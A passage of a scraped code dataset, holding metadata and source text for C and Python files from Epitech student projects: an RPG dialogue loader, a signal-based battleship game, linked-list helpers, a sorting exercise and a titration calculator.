"num_lines": 25, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/pointer_display.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_put_nbrp\n** File description:\n** my_put_nbrp\n*/\n\n#include \"tools.h\"\n#include <stdlib.h>\n\nint *pint(int i)\n{\n int *p = malloc(sizeof(int));\n\n *p = i;\n return p;\n}\n\ndouble *pdouble(double i)\n{\n double *p = malloc(sizeof(double));\n\n *p = i;\n return p;\n}" }, { "alpha_fraction": 0.5254629850387573, "alphanum_fraction": 0.5486111044883728, "avg_line_length": 18.659090042114258, "blob_id": "04058c3ae461eb6062993a09b76ff7b18f6bb80b", "content_id": "fe07cf49f0b59cdceac9541715c9bd3e23a2038b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 864, "license_type": "no_license", "max_line_length": 71, "num_lines": 44, "path": "/tek1/Advanced/PSU_navy_2019/sources/error/mapchecking.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** mapchecking.c\n*/\n\n#include \"navy.h\"\n\nint findposy(char **map, int nbr_pos, int letter_pos, char *pos)\n{\n int i = letter_pos;\n\n if (pos[2] != pos[5]) {\n while (map[nbr_pos][i] != '.')\n i++;\n return i;\n }\n return letter_pos;\n}\n\nint findposx(char **map, int nbr_pos, int letter_pos, char *pos)\n{\n int i = nbr_pos;\n\n if (pos[2] == pos[5]) {\n while (map[i][letter_pos] != '.')\n i++;\n return i;\n }\n return nbr_pos;\n}\n\nchar **write_right(char **map, int nbr1_pos, int letter_pos, char *pos)\n{\n map[nbr1_pos][letter_pos] = map[nbr1_pos][letter_pos - 2];\n return map;\n}\n\nchar **write_down(char **map, int nbr1_pos, int letter_pos, char *pos)\n{\n map[nbr1_pos][letter_pos] = map[nbr1_pos - 1][letter_pos];\n return map;\n}" }, { "alpha_fraction": 0.6097561120986938, "alphanum_fraction": 0.6150583028793335, "avg_line_length": 32.69047546386719, "blob_id": "9f240eb127fa041dd2864d9ece6ed0114c441c5f", "content_id": "e2c77de8aa61e6352b0b67e860f412d00f292899", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2829, "license_type": "no_license", "max_line_length": 76, "num_lines": 84, "path": "/tek1/Game/MUL_my_rpg_2019/src/dialogue/import.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** dialogues\n*/\n\n#include \"rpg.h\"\n#include <stdlib.h>\n\nreward_t *import_reward(json_object_t *obj)\n{\n reward_t *reward = malloc(sizeof(reward_t));\n char *item = dict_get((dictionary_t *) obj, \"item\");\n\n reward->type = my_strdup(dict_get((dictionary_t *) obj, \"type\"));\n reward->item = item ? my_strdup(item) : 0;\n reward->value = *(int *) dict_get((dictionary_t *) obj, \"value\");\n return reward;\n}\n\ndialogue_choice_t *import_dialogue_choice(json_object_t *obj)\n{\n dialogue_choice_t *choice = malloc(sizeof(dialogue_choice_t));\n\n choice->text = my_strdup(dict_get((dictionary_t *) obj, \"text\"));\n choice->go_to = my_strdup(dict_get((dictionary_t *) obj, \"goto\"));\n return choice;\n}\n\ndialogue_line_t *import_dialogue_line(json_object_t *obj)\n{\n dialogue_line_t *line = malloc(sizeof(dialogue_line_t));\n\n line->name = my_strdup(dict_get((dictionary_t *) obj, \"name\"));\n line->text = my_strdup(dict_get((dictionary_t *) obj, \"text\"));\n line->choices = 0;\n for (json_object_t *i = dict_get((dictionary_t *) obj, \"choices\"); i;\n i = i->next)\n line->choices = ll_append(line->choices,\n import_dialogue_choice(i->data));\n return line;\n}\n\ndialogue_part_t *import_dialogue_part(char *name, json_object_t *obj)\n{\n dialogue_part_t *part = malloc(sizeof(dialogue_part_t));\n\n part->lines = 0;\n part->quests = 0;\n part->rewards = 0;\n part->name = my_strdup(name);\n for (json_object_t *i = dict_get((dictionary_t *) obj, \"lines\"); i;\n i = i->next)\n part->lines = ll_append(part->lines, import_dialogue_line(i->data));\n for (json_object_t *i = dict_get((dictionary_t *) obj, \"rewards\"); i;\n i = i->next)\n part->rewards = ll_append(part->rewards, import_reward(i->data));\n for (json_object_t *i = dict_get((dictionary_t *) obj, \"quests\"); i;\n i = i->next)\n part->quests = ll_append(part->quests, my_strdup(i->data));\n return part;\n}\n\ndialogue_t *import_dialogue(char *filename)\n{\n dialogue_t *dialogue = malloc(sizeof(dialogue_t));\n char *path = my_strconcat(\"./assets/dialogues/\", filename);\n json_object_t *obj = my_free_assign(path, read_json(path));\n\n dialogue->default_part = my_strdup(dict_get(obj->data, \"default\"));\n dialogue->parts = 0;\n for (json_object_t *i = obj->data; i; i = i->next) {\n if (!my_strcmp(i->index, \"default\")) continue;\n dialogue->parts = dict_add(dialogue->parts, my_strdup(i->index),\n import_dialogue_part(i->index, i->data));\n }\n dialogue->progress = malloc(sizeof(dialogue_progress_t));\n dialogue->progress->part = dict_get(dialogue->parts,\n dialogue->default_part);\n dialogue->progress->line = 0;\n json_destroy(obj);\n return dialogue;\n}" }, { "alpha_fraction": 0.6559139490127563, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 15.954545021057129, "blob_id": "7adf2101e09098afae9106338d2ccf0289e55dcf", "content_id": "e8b66931023056928af8a553c8dda38a0a04b924", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 372, "license_type": "no_license", "max_line_length": 45, "num_lines": 22, "path": "/tek1/Game/MUL_my_hunter_20192/include/player.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2017\n** my_hunter\n** File description:\n** player functions (header file)\n*/\n\n# include \"hunter.h\"\n\n# ifndef PLAYER_H\n# define PLAYER_H\n\ntypedef struct duck_info {\n\tint \t\t\tspeed;\n\tint \t\t\tcount;\n} duck_info_t;\n\nduck_info_t \t\tget_duck_infos(param_t *param);\nvoid \t\t\t\tlife_indicator(param_t *param);\nvoid \t\t\t\tupdate_player_info(param_t *param);\n\n# endif" }, { "alpha_fraction": 0.5582255125045776, "alphanum_fraction": 0.5896487832069397, "avg_line_length": 17.689655303955078, "blob_id": "13109b640ec60e90aa2df14085ae6c8ebd3316ff", "content_id": "52cb31a5ac21412eec15494028229a5d03cc10f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 541, "license_type": "no_license", "max_line_length": 55, "num_lines": 29, "path": "/tek1/Advanced/PSU_navy_2019/sources/client.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** client.c\n*/\n\n#include \"navy.h\"\n\nvoid connected_to_server(int sig)\n{\n my_printf(\"successfully connected\\n\\n\");\n (void)sig;\n}\n\nint init_client(char **map, char **pos, int pid_server)\n{\n struct sigaction sa;\n\n if (kill(pid_server, SIGUSR1) == -1)\n return -1;\n my_printf(\"my_pid:\\t%d\\n\", getpid());\n signal(SIGUSR2, connected_to_server);\n pause();\n receive[0] = pid_server;\n if (run_navy(map, pos, 2) == -1)\n return -1;\n return 0;\n}" }, { "alpha_fraction": 0.4361370801925659, "alphanum_fraction": 0.4517133831977844, "avg_line_length": 20.433332443237305, "blob_id": "8c709013d62806b7f54ff8f3fa8f076b320a097e", "content_id": "64b63f75a62101e3ea4eb0d8e4201b02ea8d3dc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 642, "license_type": "no_license", "max_line_length": 66, "num_lines": 30, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/addslashes.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** addslashes\n*/\n\n#include <stdlib.h>\n#include \"tools.h\"\n\nchar *addslashes(char *str)\n{\n int count = 0;\n int i;\n char *new_str;\n\n for (i = 0; str[i]; i++)\n if (str[i] == '\\\\' || str[i] == '\"') count++;\n new_str = malloc(sizeof(char) * (my_strlen(str) + count + 1));\n count = 0;\n for (i = 0; str[i]; i++) {\n if (str[i] == '\\\\' || str[i] == '\"') {\n new_str[i + count] = '\\\\';\n count++;\n new_str[i + count] = str[i];\n } else new_str[i + count] = str[i];\n }\n new_str[i + count] = 0;\n return new_str;\n}" }, { "alpha_fraction": 0.6654215455055237, "alphanum_fraction": 0.6723585724830627, "avg_line_length": 30.779661178588867, "blob_id": "a330941b0836f61585cdfc240cd1dc52e02a2de8", "content_id": "30d94c6c831dd71cc153115d05bd6b485059127e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1874, "license_type": "no_license", "max_line_length": 72, "num_lines": 59, "path": "/tek1/Advanced/PSU_navy_2019/includes/navy.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** navy.h\n*/\n\n#include \"my.h\"\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include <signal.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <stddef.h>\n#include <stdbool.h>\n#include <time.h>\n\nint receive[3];\n\nvoid my_free_tab(char **tab);\nvoid help(void);\nchar **create_map(char **map);\nvoid print_map(char **map);\nint init_server(char **map, char **pos);\nint init_client(char **map, char **pos, int pid_server);\nchar *read_file(char *file);\nint run_navy(char **map, char **pos, int user);\nvoid save_pos(char *buff, char ***pos);\nvoid my_free_ptrtab(char ***tab);\nchar *get_info(void);\nvoid print_game(char **map, char **ennemy_map);\nchar *get_info_attack(char **enemy_map);\nvoid send_attack(char *attack, char **enemy_map);\nint receive_attack(char **map, int ships);\nint is_game_finished(int ships);\nint result_attack(void);\nvoid get_coord(void);\nvoid my_kill(int sig, int pid);\nvoid end_handler(int sig);\nint send_ping_game_end(int ships, char **map, char **enemy_map);\nint receive_ping_game_end(char **map, char **enemy_map);\nint play_game(char **map, char **enemy_map, int user);\n\n/* ERROR */\n\nint check_error(int ac, char **av);\nint getnbrlinepos(char *buff);\nint getnbrcolpos(char *buff);\nint check_strpos(char **pos);\nint check_collision(char **pos);\nint checkline2(char *pos, int nbr);\nchar **strategical_add(char **map, char **pos);\nchar **write_boat(char **map, char *pos, int boatnbr);\nchar **redirecting(char **map, int nbr1_pos, int letter_pos, char *pos);\nchar **write_down(char **map, int nbr1_pos, int letter_pos, char *pos);\nchar **write_right(char **map, int nbr1_pos, int letter_pos, char *pos);\nint findposx(char **map, int nbr_pos, int letter_pos, char *pos);\nint findposy(char **map, int nbr_pos, int letter_pos, char *pos);" }, { "alpha_fraction": 0.6123893857002258, "alphanum_fraction": 0.6194690465927124, "avg_line_length": 14.722222328186035, "blob_id": "806f7be9982a9c57ac905df489e896b4ba21227c", "content_id": "ebcf80c2f07a7c75eebc21e4e98cccf51aed492b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 565, "license_type": "no_license", "max_line_length": 36, "num_lines": 36, "path": "/tek1/Game/MUL_my_defender_2019/lib/game/destroy.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libgame\n** File description:\n** destroy\n*/\n\n#include \"game.h\"\n#include <stdlib.h>\n\nvoid destroy_tile(void *tile)\n{\n tile_t *t = tile;\n\n ll_free(t->hitbox, free);\n sfImage_destroy(t->image);\n free(t);\n}\n\nvoid destroy_tileset(void *tileset)\n{\n tileset_t *t = tileset;\n\n sfImage_destroy(t->image);\n ll_free(t->tiles, destroy_tile);\n free(t);\n}\n\nvoid destroy_layer(void *layer)\n{\n layer_t *lay = layer;\n\n sfSprite_destroy(lay->sprite);\n sfTexture_destroy(lay->texture);\n ll_free(lay->tiles, no_free);\n}" }, { "alpha_fraction": 0.5135999917984009, "alphanum_fraction": 0.5248000025749207, "avg_line_length": 16.38888931274414, "blob_id": "66df646019fa292dbcacd4cbec6c7be87c0f414b", "content_id": "2e4dc517c2b4a86dc267d23eb3e20b1bab94bed6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 625, "license_type": "no_license", "max_line_length": 56, "num_lines": 36, "path": "/tek1/Game/MUL_my_rpg_2019/lib/linked/list/ll_get.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** linked_list\n** File description:\n** linked_list\n*/\n\n#include \"linked.h\"\n\nvoid *ll_get(linked_list_t *list, int index)\n{\n linked_list_t *iterator = list;\n int i = 0;\n\n while (iterator) {\n if (i == index) return iterator->data;\n i++;\n iterator = iterator->next;\n }\n return 0;\n}\n\nvoid ll_set(linked_list_t *list, int index, void *value)\n{\n linked_list_t *iterator = list;\n int i = 0;\n\n while (iterator) {\n if (i == index) {\n iterator->data = value;\n return;\n }\n i++;\n iterator = iterator->next;\n }\n}" }, { "alpha_fraction": 0.46790698170661926, "alphanum_fraction": 0.5488371849060059, "avg_line_length": 28.08108139038086, "blob_id": "93bed112b5b6a866ab1d773458b9c5026442fe85", "content_id": "a20e82b7c547b182be41e012d79ce60b7995d51e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1075, "license_type": "no_license", "max_line_length": 64, "num_lines": 37, "path": "/tek1/AI/AIA_n4s_2019/src/car.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** AIA_n4s_2019\n** File description:\n** car.c\n*/\n\n#include \"n4s.h\"\n\nint get_speed(float line, nfs_t *nfs)\n{\n int i = line;\n\n i >= 2100 ? get_pos(\"car_forward:1.0\\n\", 0, nfs) :\n i >= 1600 ? get_pos(\"car_forward:0.7\\n\", 0, nfs) :\n i >= 1100 ? get_pos(\"car_forward:0.5\\n\", 0, nfs) :\n i >= 700 ? get_pos(\"car_forward:0.4\\n\", 0, nfs) :\n i >= 300 ? get_pos(\"car_forward:0.2\\n\", 0, nfs) :\n get_pos(\"car_forward:0.1\\n\", 0, nfs);\n return (i);\n}\n\nint check_dir(char **tab, float line, nfs_t *nfs)\n{\n float right = my_atof(tab[31]);\n float left = my_atof(tab[1]);\n int i = line;\n\n i >= 1200 ? check_management(left - right, \"0.005\\n\", nfs) :\n i >= 1000 ? check_management(left - right, \"0.050\\n\", nfs) :\n i >= 600 ? check_management(left - right, \"0.1\\n\", nfs) :\n i >= 400 ? check_management(left - right, \"0.2\\n\", nfs) :\n i >= 200 ? check_management(left - right, \"0.3\\n\", nfs) :\n i >= 100 ? check_management(left - right, \"0.4\\n\", nfs) :\n check_management(left - right, \"0.5\\n\", nfs);\n return (i);\n}" }, { "alpha_fraction": 0.6142857074737549, "alphanum_fraction": 0.6357142925262451, "avg_line_length": 23.764705657958984, "blob_id": "e255109145c0d57a5b38912b8b29af3a00f2261f", "content_id": "05f7dee163eaaf12175f02c366045152727213dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 420, "license_type": "no_license", "max_line_length": 79, "num_lines": 17, "path": "/tek1/Advanced/PSU_navy_2019/sources/help.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** help.c\n*/\n\n#include \"navy.h\"\n\nvoid help(void)\n{\n my_printf(\"USAGE\\n ./navy [first_player_pid] navy_positions\\n\");\n my_printf(\"DESCRIPTION\\n first_player_pid: only for the 2nd player. \");\n my_printf(\"pid of the first player.\\n\");\n my_printf(\" navy_positions: file representing the positions of the\");\n my_printf(\" ships.\");\n}" }, { "alpha_fraction": 0.6787037253379822, "alphanum_fraction": 0.6851851940155029, "avg_line_length": 21.978723526000977, "blob_id": "cd8e00471e526b7c35490cd08ab8e9f3a972e7a5", "content_id": "9c2cda9b8f187e077f077fa9296b270bb19a8aab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1080, "license_type": "no_license", "max_line_length": 56, "num_lines": 47, "path": "/tek1/Functionnal/CPE_pushswap_2019/include/pushswap.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** pushswap.h\n*/\n\n#ifndef pushswap_\n#define pushswap_\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nstruct req {\n\tint *list_a;\n\tint *list_b;\n\tint sorted_a;\n\tint sorted_b;\n\tint len;\n\tint stat;\n};\n\n\nvoid check(int ac, char **as, struct req *req);\nvoid serial(int ac, char **as, struct req *req);\nvoid process(struct req *req);\nvoid display_order(struct req *req);\nvoid clean(struct req *req);\nstruct req* get_request();\nvoid my_put_char(char c);\nvoid my_put_str(const char *str);\nvoid my_put_nbr(int nbr);\nvoid my_put_array(int len, int *arr);\nvoid swap(int *arr, char c, struct req *req);\nvoid push(int *arr, int *arr2, struct req *req, char c);\nint remove_first(int *arr, int len);\nvoid add_to(int *arr, int value, int order, int len);\nvoid rotate(int *arr, struct req *req, char c);\nint list_sorted(struct req *req);\nint get_last(int *arr, int len);\nvoid end_instruction(struct req *req);\nint my_strcmp(const char *s1, const char *s2);\nint my_atoi(char *str);\nint my_str_isnum(const char *str);\n\n#endif\n" }, { "alpha_fraction": 0.4862914979457855, "alphanum_fraction": 0.5223665237426758, "avg_line_length": 29.58823585510254, "blob_id": "df3f4dc4f945a8ac9104ceb5fa570651b66f0055", "content_id": "b05633a9ac3437a86cfa0d3f772437febf00b6a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2079, "license_type": "no_license", "max_line_length": 80, "num_lines": 68, "path": "/tek1/Mathématique/109titration_2019/arguments.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 109titration_2019\n## File description:\n## arguments.py\n##\n\nimport math\nfrom result import *\n\ndef calculateestimate(list, ph2, ph, length):\n count = 1\n e = findmax(ph, max(ph))\n min = float(list[e - 1][:nlen(list[e - 1])])\n maxi = float(list[e + 1][:nlen(list[e + 1])])\n mid = float(list[e][:nlen(list[e])])\n mathvar = float(min)\n result = []\n result.append(float(ph2[e-1]))\n\n print(min, \"ml ->\", \"{:.2f}\".format(result[0]))\n while (\"{:.2f}\".format(mathvar) != \"{:.2f}\".format(mid)):\n mathvar = mathvar + 0.1\n result.append(float(ph2[e-1]+(mathvar-min)*(ph2[e]-ph2[e-1])/(mid-min)))\n print(\"{:.1f}\".format(mathvar),\"ml ->\", \"{:.2f}\".format(result[count]))\n count = count + 1\n while (\"{:.2f}\".format(mathvar) != \"{:.2f}\".format(maxi)):\n mathvar = mathvar + 0.1\n result.append(float(ph2[e]+(mathvar-mid)*(ph2[e+1]-ph2[e])/(maxi-mid)))\n print(\"{:.1f}\".format(mathvar),\"ml ->\", \"{:.2f}\".format(result[count]))\n count = count + 1\n writingresult(result, min, maxi)\n\ndef calculate(list, ph, length):\n p = 0\n max = 0\n ph2 = []\n ph2.append(1)\n for i in range(1, length):\n ph2.append(myderive(list, ph, i))\n print(\"{:.1f}\".format(float(list[i][:nlen(list[i])])),end=\"\")\n print(\" ml ->\", \"{:.2f}\".format(ph2[i]))\n if ph2[i] > max:\n p = i;\n max = ph2[i]\n print(\"\\nEquivalence point at\", format(float(list[p][:nlen(list[p])])),\n \"ml\") if length == len(list) - 1 else print(\"\\n\",\n \"Second derivative estimated:\", sep=\"\")\n return ph2\n\ndef myderive(list, ph, i):\n x = float(list[i][:nlen(list[i])])\n x1 = float(list[i - 1][:nlen(list[i - 1])])\n x3 = float(list[i + 1][:nlen(list[i + 1])])\n nbr = (ph[i] - ph[i - 1])/(x-x1)*(x3-x)+((ph[i+1]-ph[i])/(x3-x))*(x-x1)\n nbr = nbr/(x3-x1)\n return nbr\n\ndef nlen(leno):\n for i in range(0, len(leno)):\n if leno[i] == ';':\n return i\n\ndef findmax(ph, maxi):\n i = 0\n while ph[i] != maxi:\n i +=1\n return i" }, { "alpha_fraction": 0.5648312568664551, "alphanum_fraction": 0.5861456394195557, "avg_line_length": 22.5, "blob_id": "f99179b256d5ff9e163a34538f884e4444da334f", "content_id": "43af65010aaefe13d89990338eff0e56320f56f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 563, "license_type": "no_license", "max_line_length": 68, "num_lines": 24, "path": "/tek1/Game/MUL_my_defender_2019/src/fight/start.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** start\n*/\n\n#include \"rpg.h\"\n\nvoid start_fight(dialogue_t **dial, dictionary_t **gamedata,\n dictionary_t **entities)\n{\n static int dialogue_trigger = 0;\n entity_t *player = dict_get(*entities, \"player\");\n\n if (*dial && !my_strcmp((*dial)->progress->part->name, \"fight\"))\n dialogue_trigger = 1;\n if (!(*dial) && dialogue_trigger) {\n dialogue_trigger = 0;\n if (player)\n player->show = 0;\n import_map(\"combat.map\", entities, gamedata);\n }\n}" }, { "alpha_fraction": 0.6944444179534912, "alphanum_fraction": 0.6987179517745972, "avg_line_length": 30.74576187133789, "blob_id": "5e9eb5d0cbc53417abd0351790c29d155b9cbe7e", "content_id": "a14db43d13398570a8845f80582e7f34445f7ac4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1872, "license_type": "no_license", "max_line_length": 73, "num_lines": 59, "path": "/tek1/Advanced/PSU_42sh_2019/include/linked.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** liblinked\n** File description:\n** Header file\n*/\n\n#ifndef LINKED_H_\n#define LINKED_H_\n\ntypedef struct linked_list {\n void *data;\n void *next;\n} linked_list_t;\n\ntypedef struct dictionary {\n void *data;\n void *next;\n char *index;\n} dictionary_t;\n\n// Linked Lists\n\nlinked_list_t *ll_add(linked_list_t *list, void *value, int index);\nlinked_list_t *ll_append(linked_list_t *list, void *value);\nlinked_list_t *ll_prepend(linked_list_t *list, void *value);\nvoid *ll_get(linked_list_t *list, int index);\nint ll_len(linked_list_t *list);\nlinked_list_t *ll_shift(linked_list_t *list);\nlinked_list_t *ll_pop(linked_list_t *list);\nlinked_list_t *ll_remove(linked_list_t *list, int index);\nvoid ll_destroy_content(linked_list_t *list);\nvoid ll_destroy(linked_list_t *list);\nvoid ll_set(linked_list_t *list, int index, void *value);\nlinked_list_t *ll_swap(linked_list_t *list, int i1, int i2);\nvoid ll_free(linked_list_t *list, void (free_content)(void *));\nvoid ll_v_destroy(void *list);\nvoid ll_v_destroy_c(void *list);\nlinked_list_t *ll_concat(linked_list_t *a, linked_list_t *b);\n\n// Dictionaries\n\ndictionary_t *dict_add(dictionary_t *dict, char *index, void *value);\ndictionary_t *dict_add_before(dictionary_t *dict, char *key, void *value,\n char *before);\ndictionary_t *dict_add_after(dictionary_t *dict, char *key, void *value,\n char *after);\nvoid dict_destroy(dictionary_t *dict);\ndictionary_t *dict_remove(dictionary_t *dict, char *index);\nvoid *dict_get(dictionary_t *dict, char *index);\nvoid dict_destroy_content(dictionary_t *dict);\nvoid dict_set(dictionary_t *dict, char *index, void *value);\ndictionary_t *dict_swap(dictionary_t *list, int i1, int i2);\nvoid no_free(void *a);\nvoid dict_free(dictionary_t *dict, int free_index,\n void (free_content)(void *));\nint dict_len(dictionary_t *dict);\n\n#endif /* !LINKED_H_ */" }, { "alpha_fraction": 0.42225393652915955, "alphanum_fraction": 0.4507845938205719, "avg_line_length": 17.972972869873047, "blob_id": "0510a2508d58bd84b75067c42587c86c75d207b9", "content_id": "095ab248d50c3aedc101f88f4f8789f0456ddb31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 701, "license_type": "no_license", "max_line_length": 55, "num_lines": 37, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** main.c\n*/\n\n#include \"pushswap.h\"\n\nint main(int ac, char **as)\n{\n struct req *req = get_request();\n\n check(ac, as, req);\n if (ac > 2) {\n serial(ac, as, req);\n if (list_sorted(req) == 1 || req->len > 2300) {\n my_put_char('\\n');\n return (0);\n }\n process(req);\n if (req->stat == 0)\n my_put_char('\\n');\n return (0);\n }\n my_put_char('\\n');\n return (0);\n}\n\nvoid check(int ac, char **as, struct req *req)\n{\n if (ac <= 2)\n return;\n else if (my_strcmp(as[ac - 1], \"-v\") == 0 ||\n my_strcmp(as[ac - 1], \"-V\") == 0)\n \treq->stat = 1;\n}" }, { "alpha_fraction": 0.5623722076416016, "alphanum_fraction": 0.5736196041107178, "avg_line_length": 30.580644607543945, "blob_id": "8e2ebf92e8f72bcf60ed8fddf280e3441e82ddae", "content_id": "faebcf746b8f65819157c63b7358d9df3579b89b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 978, "license_type": "no_license", "max_line_length": 80, "num_lines": 31, "path": "/tek1/Game/MUL_my_defender_2019/src/misc/loading_zones.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** loading_zones\n*/\n\n#include \"rpg.h\"\n\nvoid check_loading_zones(dictionary_t **entities, dictionary_t **gamedata)\n{\n entity_t *l_zone;\n entity_t *player;\n linked_list_t *collisions;\n sfVector2f pos;\n\n for (dictionary_t *i = *entities; i; i = i->next) {\n if (!my_str_startswith(i->index, \"load_zone\")) continue;\n l_zone = i->data;\n collisions = check_all_collisions(l_zone, i->index, *entities, 0);\n if (check_collision_type(collisions, HITBOX_PLAYER)) {\n player = dict_get(*entities,\n dict_get(l_zone->extra_data, \"entity\"));\n pos = sv2f(*(double *) dict_get(l_zone->extra_data, \"pos_x\"),\n *(double *) dict_get(l_zone->extra_data, \"pos_y\"));\n sfSprite_setPosition(player->sprite, pos);\n import_map(dict_get(l_zone->extra_data, \"map\"), entities, gamedata);\n return;\n }\n }\n}" }, { "alpha_fraction": 0.3691275119781494, "alphanum_fraction": 0.4107382595539093, "avg_line_length": 17.19512176513672, "blob_id": "80de7e8ca5b35d49836031fba1e7f2be1309b26f", "content_id": "2ea8179a8e3072c4c89b86797c8a8fd456d200a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 745, "license_type": "no_license", "max_line_length": 47, "num_lines": 41, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_putnprintable.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_printf_2019\n** File description:\n** my_putnprintable.c\n*/\n\n#include \"navy.h\"\n\nint my_char_isprintable(char str)\n{\n if (str == '\\0')\n return 0;\n if (str >= 0 && str <= 31)\n return 0;\n else\n return 1;\n}\n\nvoid my_putnprintable(char const *str)\n{\n int a = 0;\n\n for (int i = 0; str[a] != '\\0'; a++) {\n i = str[a];\n if (my_char_isprintable(str[a]) == 0) {\n my_putchar(92);\n if (i < 8)\n my_putchar('0');\n my_putchar('0');\n base(i, 8);\n a++;\n }\n if (str[a] == 127) {\n my_putchar(92);\n base(i, 8);\n a++;\n }\n my_putchar(str[a]);\n }\n}" }, { "alpha_fraction": 0.40359896421432495, "alphanum_fraction": 0.43187659978866577, "avg_line_length": 15.956521987915039, "blob_id": "dbb8da001d41234ba02d6bac63bfb339588c8e12", "content_id": "2ed4345ca0493147d133a84b2cd264f75ac925d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 389, "license_type": "no_license", "max_line_length": 77, "num_lines": 23, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_str_isalpha.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_str_isalpha.c\n** File description:\n** lib - mehdi.zehri\n*/\n\n#include \"navy.h\"\n\nint my_str_isalpha(char const *str)\n{\n int i = 0;\n\n if (str[0] == '\\0')\n return 1;\n while (str[i] != '\\0') {\n if (str[i] >= 'A' && str[i] <= 'Z' || str[i] >= 'a' && str[i] <= 'z')\n return 1;\n else\n return 0;\n i++;\n }\n}" }, { "alpha_fraction": 0.3929503858089447, "alphanum_fraction": 0.4334203600883484, "avg_line_length": 16.837209701538086, "blob_id": "2d7caffb56b12d0c3e51a74bb0e8c837f71883e6", "content_id": "42c207b61aa172c85a57d68722b385d0256781ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 766, "license_type": "no_license", "max_line_length": 41, "num_lines": 43, "path": "/tek1/Advanced/PSU_navy_2019/lib/hexa_base_long.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_printf_2019\n** File description:\n** hexa_base.c\n*/\n\n#include \"navy.h\"\n\nvoid exception_hexa_long(unsigned long i)\n{\n switch (i){\n case 10:\n my_putchar('a');\n break;\n case 11:\n my_putchar('b');\n break;\n case 12:\n my_putchar('c');\n break;\n case 13:\n my_putchar('d');\n break;\n case 14:\n my_putchar('e');\n break;\n case 15:\n my_putchar('f');\n break;\n }\n}\n\nvoid base_hexa_long(unsigned long i)\n{\n if (i == 0)\n return;\n base_hexa_long(i / 16);\n if ((i 